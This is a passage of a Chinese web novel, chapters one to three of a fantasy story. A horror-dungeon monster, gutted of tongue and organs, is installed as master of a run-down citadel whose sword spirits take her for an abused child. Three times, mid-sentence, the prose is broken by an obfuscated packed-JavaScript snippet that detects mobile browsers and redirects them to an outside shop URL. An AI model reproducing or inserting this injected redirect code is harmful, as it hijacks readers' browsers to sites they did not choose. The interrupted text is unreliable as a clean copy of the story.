《审神者是恐怖BOSS》 1. 一个副本 我是一名审神者。 ……虽然这么说,但我还不知道审神者是个什么职务。 把我换去时之政府工作的人对我说,这份工作很好做的,政府会给我一座叫做“本丸”的豪宅。 我只需要在那里生活,为豪宅里名为“付丧神”的下属提供可以行动的力量,其他什么都不用做,“付丧神”会打理好一切,并且为我养老送终。 听上去是个不错的差事,就是不知道除了灵力之外,我还需要付出怎样的代价。 嗯……算了,思考再多,决定权也不在我的手上,主神已经签下了契约,让我成为了一名审神者。 “你的力量对于时之政府的体系来说有点超标,为了维系平衡,他们会拿走你身体的一部分。”我的主神领导对我说:“到了那里别再任性,做一个称职的审神者。” 等等。 等一下。 我听到了什么? 拿我走身体的一部分? 什么一部分?哪一部分? 连我的力量都装不下,那是个什么脆弱的体系! 能不去吗领导!谁去了都不会有好果子吃吧! 我的挣扎杯水车薪,在主神的操纵下,我猛然陷入黑暗。 有什么容器将我与我所处的一片海域框在其中,我能够感受到自己依旧在海中,可往前方没游多远,我的手掌触碰到了一面厚实的玻璃。 伴随着“呲”的一声,水中被注入了新的液体。 我感觉自己的意识越发模糊,攻击玻璃的力度越来越轻,直到手臂再也没有力气抬起,我也彻底陷入沉睡,身体如同被打湿的羽毛,轻飘飘地沉入容器的底部。 …… 重新做一个详细的自我介绍。 我的名字叫朝歌,曾经掌管着一个叫做“血色黄昏”的副本。 在那个副本里,我将会和玩家刷新在一个孤岛上,在经过一系列的演绎推理,以及夜晚紧张刺激的追逐战后,在第三天的黄昏迎来和海妖的最终对决,最后取得胜利。 这里的胜利,当然指的是我的胜利。 如果玩家没有发现异常,在第三天的黄昏和我一起打倒海妖,我就会吃掉玩家。 如果玩家发现了异常,在第三天的黄昏和海妖一起想要打倒我,我就会同时吃掉玩家和海妖。 非常简单好懂的规则对吧? 我很喜欢我掌管的这个副本,每次玩家被投放进来,我都可以玩的很开心。 主神也说,我给玩家们留下了很深刻的印象,排在排行榜前十的选手从我这个副本出来之后会加倍努力提升自己的实力,等用了更强大的血统和武器后,再过来找我一起玩。 只是很可惜,到现在为止,他们都还没能从我手下过关呢。 那橙红的夕阳与被血色染红的小镇依旧是副本关闭前的景象,正如同副本的名字一样,是美丽的血色黄昏。 而我现在的工作则与副本中的完全不同,“审神者”要为“付丧神”提供力量,“付丧神”会帮助“审神者”完成时之政府下达的任务,在任务完成之后,“审神者”要完成任务报告,上交给时之政府查阅,时之政府再根据这次任务的完成情况下发奖励。 奇怪,我好像变成玩家了。 身份的转换让我隐隐有些期待接下来的游戏过程,可当我在一片陌生的海域中睁开双眼,感受到体内的变化时,我的期待顿时变成了愤怒。 他们拿走了我的东西。 我无法说话了,这代表着他们拿走了我的舌头,我的腹腔扁塌下去,这代表着他们拿走了我的一部分内脏,我的胸腔一片荒芜,连血液也凝固成死水,这代表这他们拿走了我的心脏。 这、可、和、主、神、说、得、不、一、样! 他们哪是拿走了我身体的一部分!他们是将我完全掏空了! 我是由主神创造的未知生物,身体部分的缺失不会让我有生命危险,但我需要花费更多的力量去填补身体的漏洞。在这种情况下,我还要负担“本丸”和“付丧神”的运作。 该死—— “轰隆——” 本就阴沉的天空划过掺杂着血色的闪电,紧接着,狂风大作,残破的木窗被风吹动,猛地大开,又狠狠地弹回,砸在了窗沿上。最后它不堪重负,木头一下子断裂开来,从二楼坠落下去,还没有掉落到地面,又被喧嚣的风吹去远方,最后不知去向。 我这才发现,我居然不是在海里,而是在一座建筑的二楼。 空气中没有海水特有的咸湿味道,这说明这座建筑一定不是在海边。 ……我好像被主神和时之政府合起伙来耍了,他们是不是故意不想让我好过的? 我愤怒地从器皿中站起来,将鱼尾化为双腿,抬脚踢碎了玻璃,里面的液体顿时混着碎玻璃流了一地,覆盖了我在榻榻米上踩出来的脚印。 我要回去,我要回我的副本里去! “叩叩。” 从门外传来指骨轻叩木框的声音,紧接着,门外的人出声道:“审神者大人,您醒了吗?” 醒个屁,我快死了! 液体里麻醉效果的药物药效散去的有点慢,我踉跄地走向吹掉一扇窗户的破烂窗台,手动把自己的一条腿搬上去,踩在窗台外的砖瓦上。 可能是半天没有听见屋内的回应,门外的人说完一句“抱歉,失礼了”便擅自将纸门拉开,我下意识回头看去,与一双暗红色的眼眸正对上。 少年模样的付丧神有着一头柔顺的黑发,身上穿着的衣服是黑红配色,样貌颇为帅气,嘴角还有一颗完全可以称得上是点睛之笔的痣。 换做往常我可能会夸赞他的美貌,但现在我没这个闲工夫。 我感觉自己的腿没那么麻了,直接纵身一跃,从砖瓦铺成的房檐上跳下去。 从身后传来少年的抽气声,他的脚步声急促,差一点就能够到我的发尾,却依旧只能眼睁睁看着我摔下二楼。 “审神者大人!!” 他差点没发出尖叫,大声道:“有谁在楼下!审神者跳楼了!!” 啊? 什么叫审神者跳楼了? 听到同伴的声音,在附近的付丧神立马投来视线,下意识往这边靠拢。 结果还没等他们看清,一团蓝色的身影便从高处落下来,还没在地上趴多久,蓝色的小团子迅速手脚并用地爬起来,朝某个方向一路狂奔。 有水的味道。 很多水,至少是一片湖泊! 没关系、没关系,只要有足够多的水,我就可以以水为媒介,去到我想去的地方! 我越跑越快,穿过古朴的建筑群,被石子划破的脚底踏上一片草原,在那片草原的中心,确实有一片清澄的湖泊。 有了! 我再次一个飞跃,直接扑进湖泊中,溅起半人高的水花。 站在湖边悠闲撒着鱼饲料的高大付丧神一愣,等他反应过来好像有什么东西跳进水里,水花已经消失了。 他的手里还抓着一把鱼饲料,动作却僵在那里,嘴巴震惊地张大成一个“口”字,整个人都愣住了。 加州清光气喘吁吁地跟来湖边,他先是撑着膝盖喘了口气,没等气喘匀,他连忙问道:“石切丸殿下,您有看到审神者吗?她往哪个方向去了?” 石切丸这才意识到,刚刚跳进水里的,好像就是加州清光口中的“审神者”。 他的手顿时颤抖起来,指着还泛着圈圈涟漪的湖面回答:“审神者,投、投湖了。” 这回轮到加州清光的嘴巴张大成一个“口”字,震撼道:“您说什么?” “审神者投湖了!” “审神者投湖了?!!” “审神者投湖自尽了——” “快来人啊——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233686|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “救救孩子——” …… 加州清光真是没招了。 这座本丸其实并不是一个全新的本丸,因为上一任审神者去世已久,本丸已经荒废了很长一段时间了。 在得知有新的审神者继任时,他的心情有些复杂,这个本丸性质与普通本丸不同,执行的任务更为困难,本丸的大家已经不希望再有审神者继任,谁来这个本丸,都是被时之政府当做一个消耗品。 按照原计划,他们应该是要把审神者给吓走的。 破败老旧的建筑,性格凶恶的刀剑,入不敷出的资源,只要让审神者讨厌他们,主动放弃契约,这座本丸就会保持原样地消耗下去,直至彻底破碎。 这已经是他们想到的最好的办法了。 只不过在决定谁去见审神者的第一面时,内心依旧保持温柔的大家长们,还是派出了作为本丸初始刀的加州清光去稳定审神者的心绪。 结果令所有付丧神都没有想到的是,新来的审神者居然是个年纪并不大的孩童。 孩子似乎是受到了惊吓,面对加州清光,连话都没说一句,直接就从天守阁的二楼跳下去。 他们都还没来去查看孩子摔下来有没有受伤,她就像是一只警惕的小兽,飞速地逃离了有着无数陌生气味的建筑群,直奔草原而去,最后在石切丸的视线中,干脆利落地投湖自尽。 加州清光追了一路。 他上次出阵受的伤还没好全,现在又有点裂开,但这还是小事,他现在头也快裂开了。 那孩子还那么小,这么久都没冒头,可别真的出什么事了。 没来得及多想,加州清光把外套一脱就要去湖里捞人。 石切丸赶紧把刃拉住,劝道:“加州殿,你的伤口不能沾水,还是我去吧。” 加州清光怎么能同意,石切丸可是大太刀,以他的体格和速度,跳下去就上不来了。 在僵持之下,跑得最快的博多藤四郎赶了上来。 他先是四处张望了一圈,没看到人,赶紧问:“审神者呢?他没事吧?” “博多你来的正好!”加州清光快速解释:“审神者跳到水里去了,你速度快,能下去救人吗?” 博多藤四郎先是震惊于审神者居然寻死的念头这么强烈,然后才是点点头,把腰上的短刀交给加州清光保管,一边脱掉制服外套,一边拍拍胸口:“交给我吧!我去救!” 说完,小短刀迅速没入湖中,飞速救人。 时间一点一点过去。 听见声响的付丧神赶过来了好几个,博多也找了许久,上来换了好几次气,可每一次带上来的消息都是没有看见。 药研藤四郎起眉头,若有所思地喃喃道:“狐之助说,新来的审神者从小在海边生活。这样的话她水性应该很不错,可就算是这样,人总是在水里,不可能不上来唤气,也不可能会凭空消失。” 乱藤四郎突然想起什么,他说:“之前药研哥和我们看科普书籍的时候,不是说有一种生物会消失在水里吗?” “什么生物?” “好像是水母。” 药研:“不是,是水母死了以后其他组成身体的物质,都会被水中生物分解或是溶解在水里,所以它死后看起来就变成水了,不是消失在水里。” “现在不就是找不到审神者的尸体?” “……审神者怎么会突然死掉?” “从二楼掉下来,还投湖自尽,一般人都会死掉了吧?” “你的意思是说审神者是水母,她死掉了,所以现在溶解到水里去了?” 乱藤四郎:“嗯嗯。” 笑面青江:“可是水母怎么会死在水里?” 乱藤四郎:“可能摔的时候就差点死掉,到水里之后就彻底死掉了。” 加州清光:“……” 加州清光真是没招了。 2. 一个副本 本丸的这一片湖泊看着不大,却比我想象的要更深一些。 我一直往下潜,指引告诉我,只要我去往水的最深处,我就能去到我想去的地方。 以前可不需要游这么久,身体部件的缺失还是产生了很严重的影响。 既然这样,我更要回到副本里去,那是由我掌管的世界,我可以在那里慢慢修复,生成新的部件……只是那需要很多时间,如果能淘汰一些玩家获得他们的能量,倒是能修复得更快一些。 想到这里,我加快了速度。 终于,我看见了那一片如同深渊一般的黑暗,只要越过那里,我就能回到孤岛的海域。 我一头扎进黑暗中,可在下一秒,我的额头磕在了看不见的屏障上。 ……诶? 我一只手捂住撞到有些发晕的脑袋,另一只手试探性地往前触碰,确认面前确实有看不见的东西阻隔了我的指引,我心里一沉,抬手给了那东西一拳。 居然是结界,还是一个非常坚固的大型结界,说不定整个本丸都被结界笼罩,如果在水里我都没办法打破逃跑,其他地方就更不行了。 我稍微退开了一些,身边的水流在我身前汇聚成巨大的手掌,高高抬起,然后狠狠拍在了结界上。 只不过这结界明显比用来装我的容器要牢固,那玻璃我能一脚踹碎,这结界承受了这样的一击,却连裂缝都看不见。 于是我又给了它一下。 …… 地面好像在震动。 ……不如说,本丸好像在震动。 明明大家都知道本丸是不会遭受敌袭的,也没有什么东西裂开,更没有什么东西倒塌,但就是从四面八方传来了晃动,还有不知道从哪里响起的巨大轰鸣声。 “这是怎么了?”今剑连忙蹲下,一只手按住短刀,警惕地看向周围:“为什么突然会这样?” 加州清光作为本丸的初始刀,脑袋飞速运转,最后在记忆的最深处找到了一个算是常识的信息:“是本丸的结界受到了攻击!” 本丸处于时间和空间的缝隙,为了避免被空间碾碎,被时间淹没,被虚无碾碎,时之政府有特定的阵法生成结界,这个结界可以将小空间嵌在缝隙中,也可以隐藏本丸的坐标,防止被敌人侦查到。 但现在本丸确实正在遭受攻击……这简直是闻所未闻! 意识到加州清光说的事情有多么的恐怖,在场的所有刀剑付丧神全都面色凝重。 早在刚刚博多藤四郎下去找人时,大部分刀剑就已经赶来了湖边查看情况。 另一部分要照顾受了伤的同伴,无法走开,此时聚集在这里的刀剑不过十几刃,还有几个应该是感觉到不对,此时正在赶来的路上。 药研藤四郎蹙起眉头,和加州清光说:“要把这里的情况汇报给时之政府,狐之助呢?” “审神者的附近没有狐之助。”加州清光回答:“联络时之政府的刻印在审神者手上。” “还是要找到审神者吗……”药研藤四郎看向博多:“水下有没有遮挡物?会不会是审神者卡在什么遮挡物中间了?” “没有遮挡物,只是湖水很深,我憋不了那么长的气,没往更深处游。”博多回答:“可是审神者这么长时间待在水里那么深的地方,可能早就淹死了。” 乱藤四郎补充:“然后尸体就会和水融为一体。” 药研藤四郎捏住鼻骨,叹了口气,“总之,我们还是要下去找找,万一审神者还活着,我们必须通过她联络时之政府。” 没有狐之助,审神者生死不明,最坏的结果也就是联系不上援军,敌人又突破了结界,总归都是要死的,不如去赌一线生机。 他卸下腰间的短刀,说:“我再去看看。” 今剑也将身上的甲胄脱了个精光:“我也去,我也去。” 两个付丧神来到湖边,正准备一跃而下,晃动却很突兀地停止了,同时,轰鸣声也消失地一干二净。 他们对视一眼,从双方眼中都看到了谨慎。 连续的攻击在某一刻突然停下,这种寂静更让人感到不安,这意味着也许敌人正在蓄力,准备打出全力一击,打算一举攻破结界。 这时,平静的湖面开始掀起波动,所有湖水全都向湖泊的中心涌去,湖面凹陷出了一个巨大的漩涡,水流的速度也越来越快。 今剑敏感地察觉到有什么东西正在飞速从湖底向上移动,他后撤一步,喊道:“有东西来了!” “锵!” 湖泊的异常让所有付丧神都保持着警戒,他们抽出了腰间的刀剑,压低身子,目光紧紧盯着传出大动静的湖泊。 没有让他们等多久,巨大的水柱冲天而起,湖水遮挡住了视线,等水柱冲起又落下,大家这才看见,从水里飞出来的居然是一个巨大的金色渔网。 金线不知道是由什么构成的,还在散发着光芒,编织的渔网漏洞不小,可任凭网里的人如何挣扎,她都无法从渔网中挣脱。 “敌人……”乱藤四郎已经做好了上去把人乱刀砍死的准备。 加州清光连忙把刃拦下,“等等,乱!那是审神者!” 乱藤四郎一愣,挂在空中的渔网迅速收线,将网里的人丢掉草地上,再化作束缚,捆住了她的手腕和脚踝。 ……连续的攻击在某一刻突然停下,可能是攻击者正在准备全力一击,还有可能,是攻击者被抓了个正着。 危机解除,所有人都松了一口气,而这个口气还没有彻底松完,他们又意识到了一个更棘手的问题。 ——刚刚拆本丸结界的人,好像就是这位看上去年纪不大的审神者。 ——审神者的模样,在人类当中,好像只是个十岁左右的孩童。 ——屁大点的娃,刚到本丸,就差点把本丸给拆了。 时之政府从哪儿找来的熊孩子继承本丸?? “这可真是……” 有点看不懂了。 …… 看不懂也得看。 孩童模样的审神者有着非常可爱纯真的外貌。 她有着一双又大又亮的蓝色眼睛,那是一种层层叠叠的蓝,对视时,仿佛看见了阳光下波光粼粼的大海。 她的皮肤像是上好的瓷器,又像是珍珠,瓷白中透露着健康的粉色,触碰起来却柔软得如同棉花,加州清光把审神者抱回主殿的时候都下意识放轻了所有动作,怕自己一用力就会弄碎哪个部件。 而她的发丝颜色宛如平安京最知名的画师调配出来的色彩,无法用语言形容的美丽蓝色,发尾渐变成漂亮的粉,在阳光下的某些角度又折射着淡紫,如果审神者是人偶,那这一定是人类工匠穷极一生也无法拥有的工艺。 唇不点而红,眉不画而翠,腮凝新荔,鼻腻鹅脂,难以想象是有着怎样倾国之貌的女性,才会诞下这样好看得不像是人类的孩童。 将审神者轻轻放在软垫上,加州清光来到了矮桌的另一边坐下,和他一起的还有药研藤四郎,以及名为小狐丸的平安时期刀剑。 三个风格迥异的大帅哥坐在对面,即使手还被捆着,我的心情也没有变好。 我喜欢好看的人,长得好看的人感觉会更好吃。 ……生活在这里的人不是玩家,而是叫做付丧神的灵……能吃吗?吃了我能恢复到什么程度? 可以找个机会试试,不过得先想办法把身上这个烦人的禁制解开。 在捆住我的金线上,我感受到了规则的力量,和主神给我的权限是一样的,我掌控规则,而规则又反过来掌控我。 这代表着主神签下的那个契约,让我可以随心所欲地主宰本丸,却又不能破坏伤害本丸,一旦违规,违规的那一方就会被契约给困住。 “也许您现在处于一个陌生的环境,内心会感到非常的不安,但是请您先冷静下来。” 坐在最左边的付丧神个子比药研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233687|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和加州清光大一些。 他身上穿着黑色的西装,戴着黑色的眼罩,鼻梁高挺,面容立体,眼睛是美丽的金色,薄薄的嘴唇唇形好看,就算不笑也依旧有着成熟男人的魅力,他刚刚做过自我介绍,他叫做烛台切光忠。 “首先,我想问您的是,您从二楼摔下来,现在有没有哪里在疼?” 那种高度摔下来一点感觉都没有。 我摇摇头。 “那就好。这根金色的绳索我们从来在本丸见过,是您家族的法器吗?”他问:“只要您有逃跑的想法,它就会将您捆起来,事实上,您也不愿意继任本丸对吗?” 前半句话全错,推论的结果又没什么问题。 但是这让我怎么回答呢,我现在无法说话。 烛台切光忠等了一会儿,没等到我开口,动作顿了顿,又说:“其实,在您出现之前,我们本丸的刀剑也达成了一个共识,觉得这个本丸并不需要新的审神者。” 他先是侧头看了一眼药研和加州清光,两位少年付丧神依旧绷着脸,面无表情地回应着他的视线。 烛台切光忠又等了一会儿,见药研和加州清光没有说话的意图,闭上眼睛,双手环胸,深吸一口气,用沉重的语气道:“也就是说,我们并不需要您,您可以联系时之政府,从零开始,创造一个完完全全属于您的新本丸。” 我歪了歪脑袋。 他依旧没等到回应,睁开眼睛,直直地盯着我:“我想,即便是十岁的小孩也能听懂我的话,这个本丸不欢迎您。” 我的脑袋回正。 “……”烛台切有点生气了,他金色的眼眸微眯,语气更为冷硬:“你在看不起我吗?觉得我不配和你说话?” “等等。”药研藤四郎察觉到了不对劲的地方,抬手制止烛台切光忠接下来的话,面向我,礼貌道:“抱歉,审神者,刚刚摔下楼的时候,您是否有伤到喉咙?可以请您张开嘴让我看看伤口吗?也许我可以先为您上药。” 诶,要看吗? 现在我的口腔应该是很丑的,或者说是很恐怖的。 我倒是没有什么特别的感觉,在副本里,为了吓一吓可爱的玩家们,我的海妖部下会正对着他们,亲自把自己的舌头拔出来,把混着血的粘液溅玩家一身,然后露出大反派的笑容,听玩家吓到发出尖叫。 再怎么说,我们也是个恐怖副本来着。 眼前的三个人,会像玩家们害怕我的部下一样害怕我吗? 我这么想着,对他张开了嘴巴。 药研藤四郎一愣,按着短刀刀柄的手指轻轻颤动了两下。 烛台切光忠却是脸色一变,眼中顿时多了些什么。 “……对不起。”他说。 加州清光也没想到居然事情会变成这样,审神者的口腔当中只有半块舌头,随着口腔打开,剩下的那一部分肉块动了动,看上去有点恶心,可更多的是觉得她有点可怜。 审神者还是个孩子。 他不忍地蹙起眉头,从靠墙的抽屉里拿出一套纸币,放在审神者面前:“您不能开口说话的话,可以将想告诉我们的内容写在纸上。” 我的手还被捆着,犹豫着拿起笔的时候,另一只手也放在桌上。 想说的话也是有的啦,可……我们用的,是同一种文字吗? 我在宣纸上写下一串符号。 加州清光看着上面的文字,陷入了沉默。 审神者居然,也不会写字。 他眼眶一酸,几乎落下泪来。 她在家族中究竟处于一个怎样令人绝望的境地,这样的一个孩童,时之政府会同意她新本丸的申请吗?如果不的话,离开这个本丸之后,她又能去哪里呢?回到那个地狱一般的家族里去吗? 烛台切抬手捂住自己的眼睛,桌子底下的另一只手紧紧捏成拳头。 他想寻找一下时光机,回到十分钟之前,给口出狂言的自己先来一拳。 3. 一个副本 双方的谈话遇到了瓶颈,加州清光觉得很有必要召开一次刀剑会议来商讨接下来的计划。 不过在此之前—— 他看着面前精雕玉琢一般的娃娃,纤细粉白的手腕已经被金线勒出了红痕,犹豫了片刻,还是决定直起身子,坐到审神者身边,尝试着为她解开禁制。 神奇的是,在审神者手上捆得死死的金线在加州清光手下却格外听话。 光是被他的手触碰到,金线就软化下来,按照他的意愿从审神者的手腕上掉落,最后慢慢消失成金色的粒子融入空气之中。 加州清光一愣,露出了疑惑的神情。 我则是看着被勒红的手腕若有所思。 刚刚我用了那么大力气都没能挣脱的东西,他一碰就掉了? 是只有他能解开,还是这里的付丧神都能解开? ……如果下次再碰结界,倒是可以找别的付丧神试试。 “怎么了?” 少年的手捧住瘦小的手腕,没用多少力气就将手腕托起,我的视线也跟着一起上移,望进了那双平和的血红色双眸中。 加州清光看了看那片红痕,对我说:“是不是很疼?……这个暂时也没有办法,只能等伤痕自己消退,如果实在疼得厉害,本丸也有一些用于止痛的药。” 他的语气也没有多温和,但能够听得出来他是在关心我。 友善的态度让我没有立刻将手抽回来,而是又低头,看了看这双我觉得触感有些粗糙的手。 少年模样的付丧神其实皮肤也白,可是接触的掌心并不像看上去那样光滑,而是遍布着浅浅的伤疤,有很久远的疤痕,也有几道刚结痂的伤口。 手指和掌心有几处薄茧,我用指腹点了点那里,加州清光下意识蜷缩起手指,露出了修剪整齐的指甲,以及指甲上有一块没一块的红色。 在指甲暴露出来的那一刻,他迅速把手放下,干咳一声,又说:“还不知道你能不能听懂那么长一段话呢。算了,你要不要去休息?之前的那个房间可能不用不了了,我去给你收拾一个新房间。” 本丸的很多房间都闲置了,没有人会每天去打扫不用的空房间,要现在收拾出来,还真得费点劲。 烛台切光忠沉默半晌,举手说:“我去吧。” 药研和加州清光默默朝他投去目光。 …… 烛台切去收拾新房间,药研藤四郎则是带我去了别的地方。 他没比我高多少,但他的步子迈的很大,没走一会儿就和我拉开了距离,不过可能是他余光看到了我走的很慢,后面又放慢了速度,一直在那不远不近的位置。 我倒不是很在意他等不等我,我也没有非得要和他去同一个地方才行。 不过这么一路看过来,这个“豪宅”还真是破破烂烂的。 虽然很大,但不管哪里都是又脏又烂,柱子漆面斑驳,有些地方还被虫子蛀空,没一块好皮,庭院的绿植贫瘠,难得看见一片草地,草也都是枯黄的。 本丸的年龄像是比我还大。 我看那些很久都没有人去的神社就是这副模样,惨兮兮的。 “啊。” 有着一头红色短发的小少年站在庭院的长廊上,看见是药研回来后,脸上扬起笑容,喊道:“药研哥。” 他第二眼才看到药研身后的我,愣了愣,又问:“咦?这位是?” “是审神者。” “果然是审神者啊。”身穿着西装小短裤的小少年朝我眨了眨眼睛,“我听乱说了,今天早上审神者又是跳楼又是跳湖的,好像是被陌生的环境吓到了。” 他走近了一些,来到我面前,态度友善:“我叫信浓藤四郎,初次见面,审神者,你不要害怕,大家都是很好的人。” “审神者来之前好像被家族的人截断了舌头,现在没有办法说话。”药研藤四郎说:“烛台切先生正在为审神者准备新房间,你和五虎退带审神者玩一会儿吧。” 信浓藤四郎讶异地看了我好几眼,抬手摸了摸我的脑袋,对他说:“交给我吧,药研哥可以先去忙。” 他点点头,看了我一眼,才转身从另外一条路离开。 信浓藤四郎牵住我的手,语气温和:“我们先进去吧,外面风大。” 真神奇。 他就像是一个真正的兄长一般在和我说话。 明明帮我收拾新房间的那个付丧神说,本丸的刀剑达成了一致,都认为本丸不需要审神者,他和这个叫药研的刀都对我比较冷漠……但似乎并不是所有付丧神的态度都是相同的,信浓藤四郎就一副很喜欢我的样子。 难道是什么给巴掌再给甜枣的计谋吗?目的是什么呢? 看着信浓藤四郎给我介绍屋子里的其他藤四郎兄弟,名字多到我脑袋晕晕……这个是秋田藤四郎,这个是前田……这个才是前田,那个是平野,这个是后藤,这个是厚藤……后藤?厚藤? 我一头栽在了桌面上。 真是一场洗礼啊。 不过小少年们只是出于礼貌的自我介绍而已,没有一定要我记住,他们发现我无法发声也不会使用文字,纷纷凑在一起,要教我写字。 等到烛台切过来找我,我已经学会了不少符号。 他看着一张纸上写写画画了那么多词,有些意外。 “你们在教审神者写字吗?”他问:“学得怎么样了?” “审神者很厉害哦!”后藤藤四郎回答:“记住几个词语的写法之后,立刻就会写句子了!” 信浓藤四郎重重点头,举起其中一张,兴奋道:“这是审神者写的‘我是信浓’!这个是审神者举一反三写的‘我是后藤’和‘我是五虎退’!很不错吧!” 平野藤四郎夸赞道:“我们审神者是个天才呢!在学校里肯定是最聪明的小孩吧!” 烛台切无言看着一群小短刀对审神者写出的东西无尽吹捧,叹了口气。 完全就是把自己的名字告诉审神者之后,让审神者抄了一遍吧,这有什么好聪明的? 小孩子们是不是有点太融入了?还记得之前说过的不要对审神者太亲近这种话吗? “审神者连字都不会写,很明显没有上过学吧。”烛台切面无表情地开口:“自己的名字是哪几个字也不知道,很显然不被家人爱着。” “……” 热闹的声音瞬间安静下来,几把小短刀满脸写着“你好过分”四个字,直直地看着烛台切。 平野藤四郎:“烛台切先生……” 前田藤四郎:“不能在小朋友面前说这个。” 厚藤藤四郎:“虽然是小朋友,但他们也是什么都懂的。” 信浓藤四郎:“‘不被家人爱着’这种话,任何人听到都会难过的。” 烛台切:“!” 烛台切:“抱、抱歉。” 心里想着不能对审神者太亲近,结果说了很过分的话……是不是在无形之中,他有些迁怒这个无辜的孩子了呢? 烛台切光忠还是觉得有点在意,原本在路上已经顺下来的吃饭邀请现在说出口又开始别扭。 他在内心挣扎了几秒,还是开口道:“审神者早上没有吃早餐,现在也快中午了,我煮了碗面……” 我摇摇头。 烛台切问:“不吃吗?不饿?” 我点点头。 “可能是太久没有进食,没有胃口。”他说:“闻到味道之后,就会有胃口了。” 我依旧摇摇头。 烛台切光忠有些苦恼,他的视线落在写满了字的宣纸上,说:“也许早点让审神者学会更清楚的表达自己的意思是一件很重要的事情。” 既然审神者不想吃东西,那就不吃吧,而且尽快教会审神者用文字沟通很重要,审神者想继续待在这里,也就任由她去了。 离开之前,烛台切光忠最后回头看了一眼和小短刀们凑在一起说话的审神者,在原地顿了顿,还是关上了纸门,离开了栗田口的房屋。 夜晚,时之政府的狐之助终于来到了本丸。 它是来引导审神者尽快掌管本丸的。 “综上所述,审神者平常在本丸也需要对刀剑的工作做出指示,所以有些常识需要教给审神者呢。” 会说话的小狐狸式神端坐在矮桌上,狐狸嘴巴一张一合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233688|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,声音可爱:“今天审神者已经与许多刀剑付丧神见面了吧?感觉怎么样呢?这个本丸的大家?” 我只是看着它,好奇地捏住了它的嘴筒子,甚至还想把狐狸撕开,看看它是从哪里发出的声音。 狐之助慌张地瞪圆了眼睛,挣扎道:“审、审神者大人!请千万不要这么做!在下是时之政府的大人们专门为审神者大人创造出来的式神,所以才晚了一天到本丸,如果被毁坏的话,大人们会很苦恼的!” 我停下了动作,只拎住他的后颈。 我想比起常识的介绍,我现在更需要一个解释,为什么时之政府要将我的身体配件拿走,只留下一个空壳,我不要待在本丸,我要离开这里。 “请冷静下来审神者!非常抱歉!这都是我们的问题,但是只要好好配合工作,您的身体一定会恢复原样的,而且,您可以尽情享受在本丸的生活,每月不仅有可观的底薪,根据出阵表现还会奖励许多材料,您还可以从战场带回新的刀剑付丧神!” “付丧神们都是因为您的力量才能行动,您即是他们的主公,他们会为您奉上一生,只要您还是审神者,他们就会无微不至地照顾您。” 闭嘴,好恶心的话,我不需要谁为我奉上一生,我只要我完好无损的身体,把我害成这样,你真的觉得我会好好为时之政府做事吗? “抱歉……禁制已经设下了……这也是一份保障,您的表现通过考核的话,也就证明您确实可以胜任这份工作,届时您的身体部件都会回归的……” 真是令人火大。 我没有那些东西也不会死,但任谁都不会轻易接受属于自己的东西被拿走。 使用这样的方法削弱我的力量,这其中绝对有主神的提议,他了解我,知道只有这样分散我的力量,才能对我使用封印,我才会好好地听时之政府的话。 我暗自咬牙。 不爽。 侧头看向月亮高挂空中的夜幕。 今天应该是进入副本的第一天吧。 还有两天…… “审神者大人,您只是签了就任协议,还没有与本丸连接呢。” 狐之助的声音打断了我的思绪,它说:“您连接上本丸之后,就可以按照自己的喜好来布置本丸的景色啦,房屋的布局也可以改变,很好玩的。” 它抬起前爪,眼睛里满是真诚:“让我来为您启动契约吧,请将您的手背伸过来。” 不爽归不爽,我现在并没有反抗的力量,不如先按照狐之助的指引先往下做下去,也许可以从中找到什么漏洞。 比如说,它刚刚就说了刀剑们需要出阵,出阵就意味着要离开本丸和某一方战斗,也许那就是逃跑的好时机。 而且,不希望本丸有审神者继任的那些刀剑可能会很支持我的计划,他们不一定是我的绊脚石。 我这样想着,手背向上,放在狐之助面前。 毛茸茸的爪子按住手背,没过多久,我的手背上缓缓显现出一个圆形的刻印,上面的图案非常复杂,我一时间也看不出来画的是什么。 光芒由金色变成蓝色,停留在手背好一会儿后,又没入皮肤之下。 “好啦,现在本丸的一草一木都在您的掌管之下。顺便一提,这个刻印也是和时之政府的联络器,以及完成任务后回到本丸的传送门。” 狐之助收回自己的爪子,说道:“现在,您可以试试让本丸变得更好看啦。” 我按照他的指引,调动出整个本丸的地图。 可就是在地图显现的那一瞬间,我感觉到有什么东西从我的身体经脉中迅速抽离,一切发生的都太突然,以至于我还没反应过来,眼前直接一黑,一头栽倒在了矮桌上。 “!”狐之助简直倒吸一口凉气:“审神者大人!审神者大人!” 它来到我身边,用鼻子拱了拱我的脸,察觉到是被本丸抽走了大量灵力,赶紧从矮桌上跳下来,大喊:“不好了!不好了!” “加州大人!加州大人!烛台切大人!审神者晕倒了!” “快来人啊!” 